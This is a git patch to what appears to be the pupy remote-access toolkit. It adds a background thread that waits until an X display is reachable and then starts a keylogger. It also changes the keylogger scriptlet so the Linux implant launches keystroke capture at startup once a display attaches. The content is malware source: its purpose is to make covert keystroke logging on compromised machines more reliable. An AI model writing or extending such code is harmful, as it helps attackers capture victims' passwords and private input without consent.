From ed73ac8f440a866384d9fda0ab9390a16793d68a Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Mon, 5 Jun 2017 21:22:42 +0300 Subject: [PATCH] In keylogger scriptlet/linux wait until connectable display will appear --- pupy/packages/posix/all/display.py | 14 ++++++++++++++ pupy/scriptlets/keylogger/generator.py | 6 +++--- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/pupy/packages/posix/all/display.py b/pupy/packages/posix/all/display.py index 02421a04..7ee73700 100644 --- a/pupy/packages/posix/all/display.py +++ b/pupy/packages/posix/all/display.py @@ -215,3 +215,17 @@ def extract_xauth_info(name, authtype='MIT-MAGIC-COOKIE-1'): xau.XauDisposeAuth(xauth) return result + +def when_attached(callback, name=':0', poll=10): + import threading + import time + + def _waiter(): + while not attach_to_display(name): + time.sleep(poll) + + callback() + + waiter = threading.Thread(target=_waiter) + waiter.daemon = True + waiter.start() diff --git a/pupy/scriptlets/keylogger/generator.py b/pupy/scriptlets/keylogger/generator.py index 431e016f..e4622a25 100644 --- a/pupy/scriptlets/keylogger/generator.py +++ b/pupy/scriptlets/keylogger/generator.py @@ -9,8 +9,8 @@ class ScriptletGenerator(Scriptlet): """ start the keylogger at startup """ dependencies = { - 'windows': [ 'ctypes.wintypes', 'pupwinutils.keylogger' ], - 'linux': [ 'keylogger' ] + 'windows': [ 'pupwinutils.keylogger' ], + 'linux': [ 'pupyps', 'display', 'keylogger' ] } arguments={} @@ -18,4 +18,4 @@ class ScriptletGenerator(Scriptlet): if os == 'windows': return 'import pupwinutils.keylogger; pupwinutils.keylogger.keylogger_start()' else: - return 'import keylogger; keylogger.keylogger_start()' + return 'import keylogger; import display; display.when_attached(keylogger.keylogger_start)'